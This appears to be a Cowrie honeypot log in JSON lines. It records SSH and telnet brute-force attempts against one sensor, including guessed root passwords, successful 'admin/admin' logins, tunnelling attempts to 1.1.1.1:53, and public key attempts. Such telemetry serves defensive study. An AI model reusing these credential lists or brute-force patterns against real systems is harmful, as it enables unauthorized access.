{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:46.607071Z","src_ip":"162.144.61.95","session":"ffb42ef244d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:46.707302Z","src_ip":"162.144.61.95","session":"ffb42ef244d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#$%^&*","message":"login attempt [root/admin@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:46.976084Z","src_ip":"162.144.61.95","session":"ffb42ef244d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:24:58.886374Z","src_ip":"162.144.61.95","session":"ffb42ef244d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49822,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a32c97a488","protocol":"telnet","message":"New connection: 107.6.151.170:49822 (159.203.135.109:23) [session: 90a32c97a488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:03.278334Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":47986,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff1d268641f","protocol":"ssh","message":"New connection: 176.53.159.196:47986 (159.203.135.109:22) [session: fff1d268641f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:07.595484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:07.599956Z","src_ip":"176.53.159.196","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:07.700934Z","src_ip":"176.53.159.196","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:08.004356Z","src_ip":"176.53.159.196","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:08.108920Z","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:08.223336Z","src_ip":"176.53.159.196","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:08.326641Z","src_ip":"176.53.159.196","session":"fff1d268641f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":53174,"dst_ip":"159.203.135.109","dst_port":23,"session":"261cedb636c1","protocol":"telnet","message":"New connection: 143.198.154.150:53174 (159.203.135.109:23) [session: 261cedb636c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:15.023048Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39688,"dst_ip":"10.17.0.5","dst_port":22,"session":"f71ac72dc6c1","protocol":"ssh","message":"New connection: 154.70.102.114:39688 (10.17.0.5:22) [session: f71ac72dc6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:28.400895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:28.405914Z","src_ip":"154.70.102.114","session":"f71ac72dc6c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:28.621436Z","src_ip":"154.70.102.114","session":"f71ac72dc6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123!!","message":"login attempt [root/Asd123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:29.489543Z","src_ip":"154.70.102.114","session":"f71ac72dc6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:30.702050Z","src_ip":"154.70.102.114","session":"f71ac72dc6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.407384157180786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:34.685574Z","src_ip":"107.6.151.170","session":"90a32c97a488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":33542,"dst_ip":"159.203.135.109","dst_port":23,"session":"551f6ffec390","protocol":"telnet","message":"New connection: 137.184.5.188:33542 (159.203.135.109:23) [session: 551f6ffec390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:25:47.204365Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf2b12cb660","protocol":"ssh","message":"New connection: 154.70.102.114:53780 (10.17.0.5:22) [session: edf2b12cb660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:18.902997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:18.907686Z","src_ip":"154.70.102.114","session":"edf2b12cb660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:19.111529Z","src_ip":"154.70.102.114","session":"edf2b12cb660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123123123","message":"login attempt [root/qwe123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:19.962737Z","src_ip":"154.70.102.114","session":"edf2b12cb660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:21.170709Z","src_ip":"154.70.102.114","session":"edf2b12cb660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":20138,"dst_ip":"10.17.0.5","dst_port":22,"session":"c054329288e9","protocol":"ssh","message":"New connection: 176.53.159.196:20138 (10.17.0.5:22) [session: c054329288e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:27.878885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:27.881779Z","src_ip":"176.53.159.196","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:27.977806Z","src_ip":"176.53.159.196","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":53024,"dst_ip":"159.203.135.109","dst_port":22,"session":"3846e3f64551","protocol":"ssh","message":"New connection: 139.19.117.129:53024 (159.203.135.109:22) [session: 3846e3f64551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.242975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.246835Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.288700Z","src_ip":"176.53.159.196","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.377432Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.385829Z","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.482309Z","src_ip":"176.53.159.196","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95GxC9IJLsOIeQs25vFolzoNVxNy06waKyGvpSfMw2BCqImQVfv7LF6Jl5kTHijPkZ4pzHCCXHmAwYPIJMfzEJzedEom1Xd0kNC3AzgJvyAACnDV4ey7krgO2V0JQCC/0yYRFrCS5OBQ1U1V5v7FcMiZ5tFFclwaOXn5qXPUyOyTus2I++Ps84CnS+hy47uShQx657KR6aW+ZqYumY+rlIppUkrntMOu4OHCxqTCF/ggYKxTYr3nZXJ7vvDheECl8sJkP/OyUI9IhNduqP84xNtB/F2IahXuAniHNbYSGoLNzyF7ZRshiAFu0D6/cAa28QZdDuePbGzru/UgWiz+R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.566424Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95GxC9IJLsOIeQs25vFolzoNVxNy06waKyGvpSfMw2BCqImQVfv7LF6Jl5kTHijPkZ4pzHCCXHmAwYPIJMfzEJzedEom1Xd0kNC3AzgJvyAACnDV4ey7krgO2V0JQCC/0yYRFrCS5OBQ1U1V5v7FcMiZ5tFFclwaOXn5qXPUyOyTus2I++Ps84CnS+hy47uShQx657KR6aW+ZqYumY+rlIppUkrntMOu4OHCxqTCF/ggYKxTYr3nZXJ7vvDheECl8sJkP/OyUI9IhNduqP84xNtB/F2IahXuAniHNbYSGoLNzyF7ZRshiAFu0D6/cAa28QZdDuePbGzru/UgWiz+R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.570027Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.585630Z","src_ip":"176.53.159.196","session":"c054329288e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95GxC9IJLsOIeQs25vFolzoNVxNy06waKyGvpSfMw2BCqImQVfv7LF6Jl5kTHijPkZ4pzHCCXHmAwYPIJMfzEJzedEom1Xd0kNC3AzgJvyAACnDV4ey7krgO2V0JQCC/0yYRFrCS5OBQ1U1V5v7FcMiZ5tFFclwaOXn5qXPUyOyTus2I++Ps84CnS+hy47uShQx657KR6aW+ZqYumY+rlIppUkrntMOu4OHCxqTCF/ggYKxTYr3nZXJ7vvDheECl8sJkP/OyUI9IhNduqP84xNtB/F2IahXuAniHNbYSGoLNzyF7ZRshiAFu0D6/cAa28QZdDuePbGzru/UgWiz+R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.665914Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:21:4f:7e:9e:52:eb:11:ec:8d:7d:ba:03:8a:c1:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC95GxC9IJLsOIeQs25vFolzoNVxNy06waKyGvpSfMw2BCqImQVfv7LF6Jl5kTHijPkZ4pzHCCXHmAwYPIJMfzEJzedEom1Xd0kNC3AzgJvyAACnDV4ey7krgO2V0JQCC/0yYRFrCS5OBQ1U1V5v7FcMiZ5tFFclwaOXn5qXPUyOyTus2I++Ps84CnS+hy47uShQx657KR6aW+ZqYumY+rlIppUkrntMOu4OHCxqTCF/ggYKxTYr3nZXJ7vvDheECl8sJkP/OyUI9IhNduqP84xNtB/F2IahXuAniHNbYSGoLNzyF7ZRshiAFu0D6/cAa28QZdDuePbGzru/UgWiz+R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:26:28.669537Z","src_ip":"139.19.117.129","session":"3846e3f64551","protocol":"ssh"}
